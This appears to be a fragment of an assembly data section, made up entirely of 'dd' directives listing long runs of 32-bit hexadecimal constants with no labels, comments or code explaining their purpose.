		dd 65C838ABh, 39BD8405h, 0C8078FA0h, 8740C219h,	14DAF79h
		dd 0C05E52DDh, 0C16C0C57h, 0F08FECF1h, 70F9507h, 26B1F2C5h
		dd 0CEFCE02Ch, 0B1350033h, 2B5517D2h, 42006861h, 0D671EE49h
		dd 0A4586A8Eh, 82E44Ch,	0BA1E4F89h, 8BC4B4B6h, 0E60ABC7Dh
		dd 0CCEAB076h, 27433700h
		dd 183F105Ah, 0E05C7B1Dh, 180004FDh, 0B53D7DEBh, 0B17840h
		dd 349F69EFh, 7997966Dh, 7A7F4905h, 1C6731B6h, 0E93C7E84h
		dd 0A836D900h, 0D61D95E8h, 4DF10B5Bh, 1682663Eh, 0C0BE7C9Fh
		dd 144EE526h, 7F10903h,	57480683h, 29226549h, 0E204A326h
		dd 28FB680Ch, 0C819010Ah, 1CA236ACh, 10D8E7DDh,	0EA53786Fh
		dd 344B005Ch, 0BEF61199h, 0F28A07BDh, 70491A3Fh, 819BF91Bh
		dd 0D1EC9A00h, 528478D6h, 68824D95h, 6021A01h, 247ECC0Ch
		dd 801BBC0h, 5816CE2Ah,	102020BFh, 0EBD61A18h, 0D49040C5h
		dd 12002DF7h, 6A5D2A26h, 6247C21Fh, 0A4AEB018h,	18ED841Dh
		dd 1D296AF3h, 4E95C04Ch, 98006358h, 0F9B171AEh,	75571642h
		dd 0B4AA510Bh, 0C78B2E8h, 768EB662h, 0A0302B38h, 9CE8407Ch
		dd 875106DEh, 31F69573h, 97BBCF00h, 7F665348h, 0DD7000D6h
		dd 6A90361Ah, 0B724FAC2h, 0D9627427h, 0B001DFFh, 65910624h
		dd 0D4C7000Eh, 4EAF955Eh, 89EDF98Ah, 24053980h,	1044B0CCh
		dd 1FE4D59Bh, 0A0C707B2h, 3455A1h, 4E793C80h, 4805D3C6h
		dd 4FF930ECh, 98D8AC2Bh, 387999F7h, 0AA85C602h,	4576096Bh
		dd 0EC610994h, 1D0AD414h, 44B90A47h, 2A212CFEh,	12328714h
		dd 6A58308Eh, 0F4CCC86h, 0EBD0A004h, 6BAE2E8Bh,	0AB950F4Eh
		dd 0BFDD72A0h, 3D24A531h, 2476E837h, 78DCF0FAh,	840536F5h
		dd 6FBE7103h, 0B4438C0h, 0F0FD295Dh, 1DD14184h,	2974F4B1h
		dd 2CA0AF50h, 3ACBD0BFh, 1F1665DCh, 0CAE881h, 5C73171h
		dd 0FAB156h, 0E6D11982h, 0E748FE8Eh, 65807812h,	8310840h
		dd 87FA23h, 0DDA79FF1h,	0C7954718h, 753DAF05h, 0D022E3A1h
		dd 708060C4h, 12B6E8CEh, 2B8BC24Ch, 32B5C464h, 0B208D8h
		dd 8C19D210h, 78BAFC5Ch, 9CBF7300h, 0C221B9D6h,	0ECA504A9h
		dd 8A114D1Dh, 20D8E60Ch, 2DF2C1DEh, 8004E248h, 39BEF58Ah
		dd 513FE894h, 0FC0AD897h, 0C42903E0h, 0E9FE5102h, 0E84D86E6h
		dd 0A613718h, 0D60F79AEh, 0C080218Ch, 0EC8635C4h, 5DD828B3h
		dd 0E867824Fh, 8139022h, 7404BCADh, 0F806840Bh,	232210B4h
		dd 0D7F0A77h, 1024B5h, 0A9530FF6h, 3478F5C6h, 12EBC704h
		dd 6F438293h, 41E6170Dh, 19EEFB13h, 23903C0Bh, 174472FCh
		dd 4193F0h, 0A1E1C85Ch,	25E78821h, 0CE0C640h, 0DCA83A6Eh
		dd 0DB61EC12h, 2D3EE940h, 0DC439BE5h, 28480A41h, 839C712Ch
		dd 0A47809AAh, 68B0BAh,	3CB86AE7h, 0B169070Bh, 139CA06Eh
		dd 483C2D40h, 1A8A0087h, 25290CACh, 72006DE9h, 8EE72DF8h
		dd 61E4A178h, 83E1A085h, 483EC57Bh, 0B315D5E4h,	1280FA65h
		dd 907026ACh, 0B017DCDh, 7AA477B1h, 5A5F1820h, 3C2525A0h
		dd 187014AEh, 50CBC8A4h, 2C00BF1Eh, 0F1CA5760h,	0FD2581h
		dd 0C67ECD15h, 0FB21A5B3h, 0FEDB1B07h, 3FF05D53h, 0EBBB19h
		dd 0A8D473AAh, 0F2B34C93h, 0F41D6700h, 8DCF6686h, 0A0CC4BD5h
		dd 4B006FEDh, 0C50F7DB1h, 0A5FE34h, 823AD13Fh, 0AAEE9DBBh
		dd 0FCBC6400h, 0A3696AD9h, 0F3220050h, 0C3C5D146h, 8000766Eh
		dd 107CB0DEh, 0E68B2CC8h, 77FD01E9h, 0B706676Ah, 2918C855h
		dd 8A0A4800h, 9922ED6Eh, 0A56A0010h, 0D79D0C40h, 1400B303h
		dd 292B2405h, 0F78808h,	64393D41h, 0F5D30C1Fh, 2CB3EC00h
		dd 0C5660272h, 2ED53F01h, 8283929Dh, 23C7B95Dh,	4BAC4840h
		dd 8C113E00h, 9A98F9ADh, 457749h, 0C2B45FEFh, 0E76C3508h
		dd 0D4EE3100h, 0AB52A8B9h, 227F88h, 8179D982h, 92608DB8h
		dd 0B954F200h, 0BEBCA347h, 9A73B0Ah, 2B638981h,	0C498111Bh
		dd 0C592F3Fh, 45830FACh, 0D571C335h, 0A3E3B038h, 28FAD9h
		dd 5F620F89h, 0F397B453h, 1BA87F0Ch, 617C12h, 7C704C90h
		dd 7B85A659h, 506B100h,	0AC64267h, 0D7B71C38h, 68A540C2h
		dd 0E4CE2793h, 0CF1829F0h, 0AE589CA7h, 82920020h, 0FB33DEA1h
		dd 9F0058FFh, 8E66C043h, 5DD0B1h, 67BA6432h, 84A5A85h
		dd 3BD33F00h, 1BB6940h,	2EBD0013h, 0EE24EC9Fh, 0F400FAA6h
		dd 44470AB7h, 3868B0B3h, 0A180AD76h, 583BBC6Fh,	4607F22Fh
		dd 42068122h, 0DB0CE940h, 0C1EF0037h, 0CCCE40D2h, 39FEADBEh
		dd 0CF83E500h, 26215B4Eh, 1EE60061h, 6F8895CEh,	360012FEh
		dd 40889B0h, 2A5616h, 0BA6ABD20h, 9352E6DAh, 0CA5B3A00h
		dd 0B2DC5408h, 5D20161h, 8A65D516h, 3FAF2070h, 0A0434F24h
		dd 386FE380h, 557CEE0h,	0C49723AFh, 0D5888001h,	741F9258h
		dd 0E1413482h, 8D0D3E20h, 736A5C4h, 28EA4A1Dh, 1849B0D7h
		dd 9607ED8Bh, 61D4B74Dh, 0DBDECC00h, 0EFC80FACh, 0A0E7D711h
		dd 1FA00EC7h, 1367C4BAh, 0F13AA400h, 0E3184801h, 6C8B00A2h
		dd 94520FB2h, 0D600DAC1h, 0FE158FD9h, 94A4689h,	0FB2BCA3Dh
		dd 0D13E58A3h, 307396F1h, 0B4004580h, 94CA5D31h, 78BA99Ah
		dd 0E8334DC7h, 5A83D005h, 5401818Ch, 2D930D57h,	0B2D01E1Bh
		dd 5985C08h, 607ED719h,	0F03957h, 3C200B56h, 28DE2Ah, 8D300CECh
		dd 5A2BD43h, 7C78D1FCh,	520D58C0h, 1FF8B1C3h, 40221F54h
		dd 0A072EC16h, 28017EE6h, 9BCE7A1Bh, 89CCB292h,	789100ABh
		dd 725EEB4h, 3E0162ADh,	751CEBC8h, 6A96BBh, 21E4DE21h
		dd 6F037FAEh, 913933D0h, 80D8C856h, 3D5E62Dh, 0C6656459h
		dd 75AB67D7h, 0AFC191E8h, 39DC000h, 988A5C5Fh, 5940062h
		dd 0D211BFBCh, 0DE3BB507h, 7ED58388h, 0D091A540h, 0E2FD0DCDh
		dd 11173864h, 8197000h,	68CBEA87h, 390058B2h, 0E89AECC7h
		dd 21076h, 0D455A631h, 5166B2E5h, 1B8C8000h, 6C990123h
		dd 435B0074h, 0B3A82FFh, 6007AE9h, 85489621h, 0F6F7E414h
		dd 5157008Dh, 398B78A1h, 0F0952373h, 13BF002Bh,	2EC17FE3h
		dd 88F02277h, 0F0661200h, 1BD35EFBh, 177DECh, 166F7A93h
		dd 890EE1E9h, 1103E6F4h, 4E81CD6Ah, 0E2EAFB05h,	40ECEA74h
		dd 18DAD4h, 0CAE19572h,	0C55841A9h, 3008675h, 40C98F09h
		dd 3729DD4h, 4754F57h, 1003DA9Ch, 0E88BB2B4h, 0B519D023h
		dd 798539CFh, 52576100h, 9CF65071h, 55B24000h, 456D7AADh
		dd 0A37700C3h, 0DA6C8863h, 0B303A1F9h, 6124F10h, 8690F02Ah
		dd 6AD50796h, 0A06E01E9h, 0C6663F48h, 82495F00h, 700CFD51h
		dd 0AAF50075h, 0C48E970Eh, 8F00A944h, 496AD66Eh, 0E2ED24B2h
		dd 0AD31C0A5h, 0DDF3206Ch, 9FD4BE24h, 802E0038h, 21A21397h
		dd 20EB0014h, 0C0CCE237h, 0E198392Bh, 0ED29000h, 0AA38CA8Eh
		dd 0B2410094h, 0CD995E0Ah, 0F900E68Bh, 0B3886E68h, 0F2B146h
		dd 0D15DCACh, 0D05F2127h, 25DF7600h, 0A2931FA3h, 3AFB0569h
		dd 8003A1F8h, 6FA5CB7Fh, 48B0B44Ch, 80D63A21h, 705C6BAEh
		dd 4812D58Bh, 5F3B1F2Bh, 0CFCB1700h, 0F8F2739Dh, 0B8440F00h
		dd 0AC267482h, 9FD0716h, 0B032F914h, 0A5A3E0EFh, 0CEB4700h
		dd 5FE46045h, 0A9D300E8h, 39F526CEh, 0A6009B3Bh, 0DE7A2B18h
		dd 0F8A0EFh, 2E7202E0h,	0C8C6F170h, 0EB38AB01h,	0C2DBB4D3h
		dd 718B66C0h, 396C0087h, 78B50130h, 19004021h, 0A0369142h
		dd 0DC6662h, 3364AFB3h,	3F3C327Fh, 537CBE00h, 3A2D656Fh
		dd 0FB5A5808h, 0A87EB800h, 8B8E9CBCh, 92223E07h, 37B03D50h
		dd 55B1B09h, 5C710E1Eh,	0AA80FB6Ch, 234E34h, 0D6794CE0h
		dd 9291D112h, 9A1F5B1Dh, 6BA86840h, 6C4506h, 2D64140h
		dd 5DA5F4DBh, 4473FA06h, 5CFA2665h, 8000C08Fh, 0DA28BEEDh
		dd 4B057BEEh, 9A33B868h, 31AE2880h, 5A7C6Fh, 17F9944Fh
		dd 0A482597Ah
		dd 502C2E24h, 7D95A501h, 0E9E4EE9Bh, 0CAA1B04h,	0A3D11892h
		dd 8CF4E08Fh, 3A8B11C0h, 1FF381h, 0FB856E0Fh, 0F1778752h
		dd 0AD0D6B1Eh, 0B9629900h, 0A24FAFh, 1B5F7E43h,	63D7E706h
		dd 0D12401Eh, 3427E880h, 508015h, 7A5B0F32h, 0DDD81054h
		dd 807E4738h, 0AA02E499h, 0A0A5EC15h, 1DD36C90h, 989BF70Bh
		dd 1C3AB957h, 969A409h,	0CBBE805Eh, 7989FF0Dh, 275A01D4h
		dd 0C1C0E4F2h, 0E38D04Eh, 0CE84C600h, 0E54A12ACh, 94C405D1h
		dd 7EB0AF2h, 20D2F80Ch,	0EE91D08Bh, 4E4FE00h, 58E688B5h
		dd 87F40066h, 0EB56F26Ah, 24000E37h, 0E9094F7Ch, 71D0BCh
		dd 459E4C11h, 808CCA94h, 430069F6h, 0D8C01AAFh,	70EB637h
		dd 0B107A27Ah, 30659794h, 16CFD3C3h, 8A981A00h,	0B8D4B424h
		dd 0DE6A5018h, 0DB0A16E5h, 6F5F039Ch, 74D85029h, 1F00896Ch
		dd 3B58F9B9h, 1F40177Eh, 0C0ED67E8h, 1E98E3CBh,	3404CE97h
		dd 628D2074h, 0EC11E987h, 3DF0E47Bh, 0B1C7DA9h,	0F1087A02h
		dd 0A5EB9D80h, 0B00138Ch, 74553B43h, 540DC4A2h,	31C091h
		dd 6C82AC7Dh, 618C09A3h, 8A9E3E0Fh, 73201932h, 0B885BA80h
		dd 0EBB3BA99h, 0CC6F8E03h, 0F31571h, 4052B59Ch,	12A0B0A7h
		dd 3A649A7Fh, 7B60C269h, 6D3408ACh, 340D6033h, 0D5C42180h
		dd 0DA4003D4h, 1BB5B23Bh, 0AAE837B3h, 5600AC93h, 0EB4B0C5Bh
		dd 12A6691Fh, 1A3E828h,	634C074h, 0D68A4D1h, 9A848E00h
		dd 736EEDCBh, 0E708CADFh, 52A500FCh, 1E6D8EF0h,	923B0401h
		dd 23606F6Ah, 24D3E7F8h, 8E4052BCh, 1E81B312h, 40E972D5h
		dd 9F693184h, 139A3900h, 2D6E57C9h, 605AE8D2h, 15963092h
		dd 0D600259Eh, 0C51BCECFh, 9DB8DAAh, 2F090C1Ch,	568EB83h
		dd 40A4D4C0h, 4D62C4A7h, 316318A2h, 0C80A2E18h,	8ED238h
		dd 67DAEF5h, 0B6DE1C7Ah, 0B4F2F00Eh, 3893E22Eh,	0D2804880h
		dd 0BD030646h, 50AD130Ch, 0CAFB2100h, 6B51CC1h,	0BF94283Ch
		dd 1998CFB4h, 80D9F804h, 0A4656718h, 0B1E2981Dh, 0E90400F9h
		dd 6DEE0F46h, 0D72D0F0Dh, 9E20972Ch, 65CABECCh,	0CFA03Ch
		dd 769126C7h, 9AC3B0h, 3B7C5DC6h, 0D0F31D36h, 2485C404h
		dd 788421C8h, 40CAA600h, 3069F7Fh, 7922E871h, 83A85BF9h
		dd 0B400DDB8h, 7C12FD6h, 165FE9h, 0E057F5CFh, 0C7E5841Ch
		dd 0DC8F04ADh, 2DF2C023h, 34FA961h, 9C0E2774h, 2900D5A8h
		dd 0CEF0B4A4h, 37E5CD6h, 36DE3AC5h, 0FAF0F14Fh,	5400F4E0h
		dd 0A2E10957h, 0C038F6E2h, 0F9DBD338h, 0B4035230h, 5B3DBFFCh
		dd 0AE40BF8Bh, 587ABA41h, 8403F3EDh, 0C51E8C6Eh, 0A0459100h
		dd 0EECA90B9h, 0EA710374h, 0C673E41Fh, 30052000h, 0E0BF77EFh
		dd 74EC0E48h, 1A844906h, 28D000DCh, 63D3C5h, 5892C4C3h
		dd 0DE755CF6h, 50619113h, 0D624B900h, 1E7265E5h, 0A093ED9h
		dd 8488EC5Bh, 0C01E4CC5h, 53ED8C36h, 0C10F2700h, 0D319DE51h
		dd 0E9663161h, 0DA9C42A9h, 0B65A4A0h, 7E00B641h, 11CC736Bh
		dd 2DD77h, 9B5E7C45h, 0FB837FAEh, 2A983901h, 0C91F0F97h
		dd 0A8A39450h, 0C7991E14h, 0D0548FA1h, 0EA60342Eh, 0D2F0F91Ah
		dd 845C5128h, 8E8E7D21h, 0BF61EDB6h, 8E86E30h, 0B2D94040h
		dd 3BCD0300h, 0D46C6BB4h, 0D57F0C48h, 0D6415D5Bh, 0CF324B00h
		dd 0CD33A4C4h, 66091E2Ch, 0BF5080F2h, 0A3E645F3h, 91686D03h
		dd 0E2A8B6h, 0C1981EE8h, 5B2BD019h, 26004EF4h, 6272AC95h
		dd 4B02EAh, 4F7EAB01h, 389FF792h, 0AAB76B00h, 0FC1D96CDh
		dd 0A0B8606Ch, 7F20369Bh, 0B1545100h, 7117EE26h, 0E3AC2AD5h
		dd 607805C4h, 0FB862E7Ch, 9EED9280h, 215C67BAh,	0A8925024h
		dd 0A30E607Ah, 0FDB313BCh, 1E7C508h, 0BF9165EDh, 0E29DD0C9h
		dd 4166DB00h, 54C115C4h, 55B73CAh, 0D1CF7DE6h, 0A8E85CF0h
		dd 320700D4h, 3C4B39FAh, 0AA00A828h, 676B7552h,	0F448C6h
		dd 5B374B5h, 5AC315F3h,	56BF5406h, 0DC01BFBh, 19ACC0F1h
		dd 0A9344160h, 0E5B8503Fh, 0BB0011A7h, 1D80585Ch, 5CFD4773h
		dd 21606C13h, 0BF8CE02Ah, 0D61E34F0h, 471826C2h, 86400F49h
		dd 818CF702h, 19257058h, 1F8810DAh, 0B5EB038Dh,	6A16B350h
		dd 5F0934C8h, 7EF05718h, 376B7BA8h, 70C0689Fh, 8B531E23h
		dd 0EC99E705h, 0B430BC01h, 10F593BDh, 0C4A66871h, 6E00E637h
		dd 9780925Dh, 311B741Dh, 5E5613C0h, 2061157h, 0F428C1A9h
		dd 0D140E340h, 2CA0ADF5h, 0E4389258h, 91A7217Ah, 0C179002Ah
		dd 0D7D3E9Fh, 616307AAh, 0E01DEF4Fh, 7F32EA6Ch,	0E5818491h
		dd 18BED2EDh, 84498021h, 0A271000h, 649201CDh, 0D69B2CD8h
		dd 0C2068AE9h, 6600F42Bh, 80F3BEEAh, 850824A2h,	6BC00E8h
		dd 279B8135h, 0A31D197Eh, 640C136Eh, 0FA01Fh, 0F9323D1Eh
		dd 8096F837h, 0C295690Ch, 0A41651D1h, 0EE190050h, 5497BF06h
		dd 0E50EA6A9h, 0A01FAD3Eh, 7D5D4512h, 881600C1h, 0C9F0A0BCh
		dd 0F5006176h, 68F9E889h, 0EDD58Ch, 8825C659h, 0B8B1B33h
		dd 808E623Fh, 2A5663C7h, 0EDE7F565h, 0CB0CECh, 0ADC4FC20h
		dd 140F4F42h, 60C7B10Ch, 0B5711Ch, 1E38B73Fh, 1978EF52h
		dd 0DFE06F8h, 9520A560h, 0EF40DFC9h, 51371180h,	6FF092E5h
		dd 4060B8D0h, 6E00C010h, 91562CE3h, 0EF4CFFh, 683C6AF6h
		dd 0F03EDA65h, 9AD4CCEDh, 92D33D0Ah, 46563097h,	13E800AEh
		dd 0F0F77B9Ah, 5FC100C2h, 0BB0742ABh, 0F800B11Eh, 7D5A4A0Bh
		dd 0B0A1C4BAh, 9021A04Bh, 0F81767B2h, 40CA27BCh, 4D3E861Ch
		dd 4572CD00h, 0A54334CBh, 7A3F0009h, 8DB4D080h,	8EFD251Eh
		dd 276AB238h, 23DF9161h, 302F99D2h, 3C21E808h, 162E6EDBh
		dd 1A283A92h, 0E5418A00h, 2223CA9Eh, 1E490302h,	151DB097h
		dd 0B300887Eh, 823B2871h, 3AD4B21Fh, 862887E4h,	201200C4h
		dd 0FECE7094h, 5D3B679Ch, 9A118006h, 0EA8B3C07h, 0E54618FAh
		dd 412810Ah, 3449F18h, 395C68h,	1AA3A0C9h, 0DCDF01D5h
		dd 1466F758h, 13406EEAh, 720571AAh, 404487BAh, 0FB001891h
		dd 196A7098h, 0D64FD82Eh, 0D5158602h, 520466Fh,	23E08A43h
		dd 710482E8h, 8617D4A0h, 0B3014DEDh, 0A4E66637h, 0E870F326h
		dd 6721C020h, 28AE4E15h, 0B0D9ED00h, 5148E70Ah,	0FD19401Ah
		dd 433CD20Eh, 0DA300B5h, 1A68FD8h, 0FC55B9F1h, 8ACB5088h
		dd 0A8B1EBD0h, 9C72E760h, 6862523Bh, 90BD2Ah, 0D2718894h
		dd 56894ACDh, 0AEF85B09h, 53040030h, 0E4707493h, 458892B4h
		dd 0B2C8E328h, 491FE81h, 6066C700h, 864AE891h, 1E05A20h
		dd 9D6EDF05h, 40F0C118h, 9CFABF92h, 7BF9B00Fh, 5104820Dh
		dd 9C84A841h, 4080DF11h, 0DE30EE4Eh, 2322D443h,	4D0CF001h
		dd 255A2A44h, 0C0C7D8DCh, 1AE3DDC0h, 0C9151736h, 0ED0343Ch
		dd 730AEE77h, 99581C30h, 414A3C3Fh, 0C56005F5h,	40762B12h
		dd 0BA4D9C40h, 8F437E30h, 0FC00B922h, 40734D28h, 2C43956h
		dd 29EF8544h, 59C01D4Ah, 0EEC0F12Eh, 0D1DBB366h, 35103836h
		dd 0C36012h, 6455BC20h,	0CB0A5319h, 0E83EE625h,	34024C10h
		dd 0CA1FA29Dh, 0BC02FF62h, 811882F0h, 916A0865h, 0CD6644D8h
		dd 514F0021h, 8CB85267h, 0B43D3EC5h, 0ED5D8141h, 6020F05Ch
		dd 198080BDh, 0A5DED1FBh, 94A84311h, 1600DB0Bh,	9AC77A0Eh
		dd 1EEC2635h, 5EAAFBBFh, 5D87C2B5h, 0D4B0DE18h,	92117CEBh
		dd 5284D637h, 73CD002Eh, 70E2FC7Ch, 2D320098h, 50779930h
		dd 0C498190Ah, 96FBCF00h, 0C31DF969h, 50BC7290h, 1ABA8C38h
		dd 0D9191F59h, 0D8878404h
		dd 6E7DD044h, 4AF94B10h, 5820D5C9h, 216E4D52h, 1E5C9700h
		dd 81B04485h, 3CCB055Eh, 49BB7F5h, 0D81FDA84h, 4C9B160Ch
		dd 0A1726000h, 8687EA3Bh, 0E17EC20h, 0F4718E85h, 82A07B20h
		dd 100C996h, 0A278A87Eh, 0F6D4EFEh, 0A31C1EBAh,	0CCA515A4h
		dd 0E5080FF0h, 0C7BFF138h, 21388B3h, 915EE300h,	218387Ch
		dd 0B01BB119h, 0A04185BEh, 46463AEh, 0FE651823h, 56853887h
		dd 0DE13CC20h, 0D59339F7h, 0FE9A268Fh, 74BF10C3h, 8C8EFC80h
		dd 82A7BB3Bh, 0AD63BEE8h, 908D40E9h, 7310C0CCh,	51796B9h
		dd 249E0A03h, 0A389AD1Eh, 222100BAh, 0D75596D1h, 0FB00398Eh
		dd 4D482879h, 3E16235h,	0EB683A67h, 3100845Ah, 9B183D10h
		dd 781213Ch, 0F75C61AEh, 24159079h, 750873D1h, 0B29EE8C3h
		dd 0FA30E490h, 5EA0896h, 0E96289B2h, 0EEC500CDh, 0D32DA096h
		dd 525415h, 41A2DE4Fh, 611D6591h, 0BA000F93h, 34453798h
		dd 2EC50370h, 0A232F0CBh, 7FC081B0h, 26AA5103h,	9D14F6h
		dd 470B6278h, 68B437F1h, 0DB152400h, 924D8B1Ah,	29EE0056h
		dd 3B1C7741h, 3000063Fh, 89952585h, 80CF8D65h, 510CEB39h
		dd 0A8E7F102h, 81753093h, 56EDCC08h, 54912900h,	9A1C1604h
		dd 89253048h, 3E3ABDB1h, 0DFAC0E00h, 0D2C55085h, 309C0383h
		dd 5B136047h, 4B302974h, 1BE502Ah, 53DC00C1h, 52625114h
		dd 137957D7h, 0A2000EF8h, 0E4723689h, 1E3DD1h, 3967B44Fh
		dd 27DDBB83h, 6CD8B4A8h, 244D3400h, 549FA4Fh, 0FF590012h
		dd 84CA8E04h, 6700A4EBh, 985625AAh, 206E10h, 69C4D34Fh
		dd 0EC6C30C9h, 9C365000h, 0BE5CE52Bh, 761F0E72h, 0B787AEB3h
		dd 0BFE783BDh, 7025087Ch, 0ED7E33h, 0FA688ACAh,	607476Dh
		dd 4D90801Bh, 3D79AC53h, 0CD804139h, 4E1CB17Fh,	0C40165C6h
		dd 0E6725AD0h, 508028EDh, 16B1AA57h, 8A005688h,	0BFBEF880h
		dd 9707CC6h, 6C350EDFh,	0B3E3AC8Eh, 910007B0h, 0ED69232Eh
		dd 3310AF3h, 33F9AF34h,	2000F4A2h, 0BBB6649Ch, 0C1BC1FA5h
		dd 0E734E430h, 5720805Eh, 93C67B06h, 16033040h,	12BE51C8h
		dd 61C37C70h, 0E8FD733Fh, 0E21ECB6Dh, 0E8F5637Dh, 201DBE65h
		dd 5803DDAh, 0EAEDA4ECh, 0AFEE03B6h, 2B249B36h,	7DCC5110h
		dd 0BCFDC9C0h, 13431B6Dh, 0B8CA10h, 556543DCh, 1875228Ah
		dd 0E14E6F4h, 5932A293h, 30CE5072h, 5E026897h, 47626B6Dh
		dd 41BE387Eh, 3A806538h, 0BA2780C4h, 9A7BB5E9h,	60B5986Fh
		dd 4E1F491Ch, 9400D88Ah, 0C2D4B5EEh, 0A88E5586h, 1D7792E0h
		dd 43CF4C74h, 9DF23C15h, 251A0818h, 0B1B220h, 3E43077h
		dd 964C6366h, 8555F61Fh, 0C9AA2B41h, 5991E720h,	76188089h
		dd 8C8BF47Fh, 60168620h, 0A354788Fh, 0D600E76Eh, 5F7ED843h
		dd 1AAD9DDh, 9DEA3397h,	0EC4AE359h, 1C1D555Ah, 0F2C0FB82h
		dd 99392C5Ch, 7697AFDh,	0BDFABB42h, 80E254A9h, 5591D18Ah
		dd 87B57F00h, 0B6D2E461h, 12941EBFh, 80499FC5h,	8467EBA2h
		dd 2038093h, 1EE2CF13h,	6240A8A7h, 16120078h, 9B8C2E04h
		dd 0F601915Dh, 2142107Fh, 8AC0F97Eh, 0D7F150E9h, 5EF50071h
		dd 132CA27Ah, 0EFCCB27h, 5C00E0EAh, 0A811F002h,	700B9ACEh
		dd 9D70015h, 28261096h,	0E7747353h, 0FA90AF90h,	296E510Eh
		dd 803BDC36h, 5E48AFD9h, 8326A2h, 0FBF21F1Eh, 0AE758010h
		dd 1B013D90h, 384BEF63h, 7AC9227Fh, 0F3D88CCDh,	66AC0735h
		dd 6F650ED6h, 61FC3780h, 0F104951Fh, 6D05AE09h,	339C0ABh
		dd 0B200648Ah, 23372656h, 39C8DDE5h, 1B80B70Fh,	771873DEh
		dd 423F3B89h, 0DAB31F7Bh, 0CF660A80h, 781B99h, 0F5CB18C9h
		dd 124B5425h, 10139B00h, 6F640C01h, 7FEC07C8h, 7002FA75h
		dd 0BB76A5B4h, 59D86C00h, 8F6671E2h, 0C45300BFh, 658A4D89h
		dd 787B078Eh, 855A2A00h, 804710E5h, 189F1E45h, 919C406Dh
		dd 59056148h, 0D56A8100h, 0A53BEC65h, 8B5D0097h, 44CD2BEDh
		dd 97903E8Ah, 9D665A1Eh, 0A8BBBD47h, 0C8AB3DA0h, 3B170E1Dh
		dd 1DE812Ch, 3EE38CBh, 6C8570F5h, 693EED00h, 0ECC07904h
		dd 0AFF0066h, 0A091E240h, 0B97B7DFEh, 9F813300h, 15F5D27Ch
		dd 0BD86001Ah, 384688CAh, 0DE1F1DE3h, 3C0C24Bh,	0C6E4454Dh
		dd 955838F6h, 85FF9380h, 420EB156h, 0B6498702h,	6086F957h
		dd 0F29ED4h, 0AE40A084h, 0B815DB9Ch, 82621A00h,	10FCD9B2h
		dd 0C00D007Dh, 0BBE11639h, 577B7B84h, 4C498C00h, 423F4A31h
		dd 11C90052h, 599320AFh, 19EC95A6h, 4F0FBD7Bh, 8016E3CBh
		dd 3ECC9943h, 0ABF63B64h, 29C17881h, 305EF28Fh,	0E2004A39h
		dd 53DA3033h, 0E60C8808h, 0C7400084h, 0F075E6C1h, 5800708Eh
		dd 90D2EB1Ch, 0B08D5Fh,	0C6B29F30h, 8F43AFEAh, 0E8C94203h
		dd 0B8850495h, 7F0DD7h,	0EEA8F1C5h, 0EC09DBF5h,	48EA1F00h
		dd 5C6E83B5h, 85510005h, 0EB0D8620h, 0CD0160C8h, 0C3084D49h
		dd 7560F399h, 55230039h, 0E6461142h, 96139CDFh,	5300EE6Ah
		dd 79F02BE9h, 1831010Dh, 59C1EFADh, 731BC428h, 3BEDA000h
		dd 9ACAE4C0h, 8C7400CCh, 373E39C5h, 0C4000697h,	7E8AD455h
		dd 12C45C3h, 0C920FD47h, 0D4786DCFh, 100C485Dh,	0B08CFB0Dh
		dd 467603F0h, 5FA85E94h, 7A1539A0h, 0D252A100h,	6DE678F9h
		dd 0E38901D7h, 0F8BBC897h, 0D09CF073h, 4EC18400h, 6C48A3F5h
		dd 8ED20760h, 0E087C9C4h, 0F869953Bh, 2B925Ch, 0D153BD16h
		dd 57E3F90h, 0CEA75FBBh, 0A0B0C068h, 0DB02C637h, 64B3D97Ah
		dd 8888602Ah, 0CF871CC3h, 0C73FC097h, 16F0CA4Eh, 7579B003h
		dd 8865B294h, 12426B1h,	0ED35ACDh, 0F180CC72h, 2514FC75h
		dd 0E0053600h, 1AA5790Ch, 9A6B00BAh, 0DBB76502h, 0B0F6E3ADh
		dd 90C9F200h, 9BD9161Dh, 9FBA1736h, 0F9F50081h,	214395E3h
		dd 0B8FC0D00h, 73059604h, 310E261Eh, 83100044h,	957D4FA4h
		dd 7040600h, 3F25C456h,	6CF3005Ah, 10EDE8B3h, 0C71F9CC1h
		dd 30D4ABD9h, 0AE0A1CACh, 116ADEC0h, 60D8AC59h,	757618FDh
		dd 0D000FA26h, 549AE06Dh, 35011h, 35528BF0h, 4F3DAE2h
		dd 5A2E3300h, 0FC29A737h, 89CB0022h, 416D6C16h,	5E00A2F9h
		dd 0CD7F6201h, 3D988D05h, 6900B53Fh, 0BE83AFF5h, 9D005416h
		dd 0EEBF1EA5h, 39908Ah,	38FD0414h, 953D3A60h, 0D3FCF607h
		dd 77617E0Fh, 7880F4C6h, 635BF858h, 8402D832h, 0E47CC23Ah
		dd 0B51C40D9h, 8810005h, 9A341123h, 2F00D82Bh, 863FF32Dh
		dd 0CBCB48Dh, 0EF55A51Fh, 0C2004390h, 0B222040Dh, 0ADD259h
		dd 9A37069h, 0B8C399F3h, 71FC5700h, 0E02617B5h,	0FF780092h
		dd 0A71CBAFDh, 300C9363h, 0B959A8C4h, 0F19F00BEh, 1801DAE5h
		dd 9A0015C9h, 0C33F5AD3h, 0EE6F97h, 39098746h, 2A36EB33h
		dd 540C48h, 8EA6DAB9h, 0E3567BFh, 0A3919266h, 0BD72CD40h
		dd 0C9026174h, 68FCA06Fh, 17256028h, 1F54F030h,	0C0DD4052h
		dd 0F1A3E605h, 5100E9C6h, 608085D0h, 541F19h, 43D4E15Ch
		dd 4E039964h, 0B0887E04h, 2E810DD3h, 40E870A7h,	0ECDC0025h
		dd 0F381307h, 3A0797ACh, 0F87B4771h, 55CFD290h,	0AB7300FFh
		dd 0F1C3DDE6h, 43000ED4h, 35BC5257h, 5E048h, 4B8946E3h
		dd 5D171C36h, 0E4B9181Ch, 671DCAECh, 623861C0h,	0F0B759h
		dd 0F51764E5h, 6A2CF8BCh, 9ACB4E00h, 0D0A3CD4Ah, 8C6104C2h
		dd 805A5156h, 0C7C69298h, 9F279803h, 8034B079h,	0A47AB4h
		dd 0DF25F66Ch, 0C2B5E02Fh, 5816A200h, 2EDA7B7Fh, 780800C6h
		dd 0EB03AA28h, 20008CF0h
		dd 0C51B13D6h, 0FE88D10Fh, 83E90058h, 6772347Ah, 9A7269DCh
		dd 4C0061E0h, 0A5C321A9h, 31A8E32h, 735BD55Dh, 0FCD8685Eh
		dd 4F03E10Fh, 0FEA42E79h, 42228026h, 6D1007Ah, 4A08B484h
		dd 70039A2h, 0B8A41EAAh, 2A7943FEh, 0D4FD66h, 0F237F759h
